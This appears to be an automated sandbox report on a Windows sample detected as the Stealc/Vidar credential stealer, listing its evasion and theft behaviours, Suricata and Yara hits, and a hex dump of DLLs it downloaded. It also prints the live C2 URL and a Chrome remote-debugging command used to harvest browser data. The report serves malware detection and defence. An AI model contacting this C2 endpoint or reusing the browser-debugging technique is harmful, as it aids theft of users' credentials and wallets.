Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543562
MD5:	b07426273441e1e6ec042658ab2132cc
SHA1:	3b6b40056a1803da518a1093db31811ca5602022
SHA256:	66ec85436947cf61b3e3ad15d0dbf5c1bb2d83b816006a376aa524cd772ce375
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7468 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B07426273441E1E6EC042658AB2132CC)

chrome.exe (PID: 7676 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2184,i,17577529388536568339,1555015653757445265,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2065392111.000000000154E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2063456303.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1693251451.00000000051A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7468	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 7468	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7468	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7468	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b50000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7468, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7676, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:03.204633+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:03.194926+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:03.479860+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:04.580282+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:03.488232+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49730	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:02.902489+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T06:27:05.191911+0100	2803304	3	Unknown Traffic	192.168.2.4	49730	185.215.113.206	80	TCP
2024-10-28T06:27:22.144066+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:23.930538+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:25.216890+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:26.272529+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:28.865147+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-28T06:27:29.427043+0100	2803304	3	Unknown Traffic	192.168.2.4	49758	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.b50000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.b50000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 41%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C69A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694440 PK11_PrivDecrypt,	0_2_6C694440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C664420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C664420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6944C0 PK11_PubEncrypt,	0_2_6C6944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C6E25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C678670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C69A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C67E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C6BA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C6C0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6C6943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6C6B7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6C677D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6C6BBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6C6B9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693FF0 PK11_PrivDecryptPKCS1,	0_2_6C693FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6C699840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6C6BDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6C693560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49763 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2087537762.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.1693251451.00000000051CB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2087420565.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.1693251451.00000000051CB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2063456303.0000000000B7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2087420565.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2087275242.000000006C76F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2087537762.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 41MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:05 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 05:27:21 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 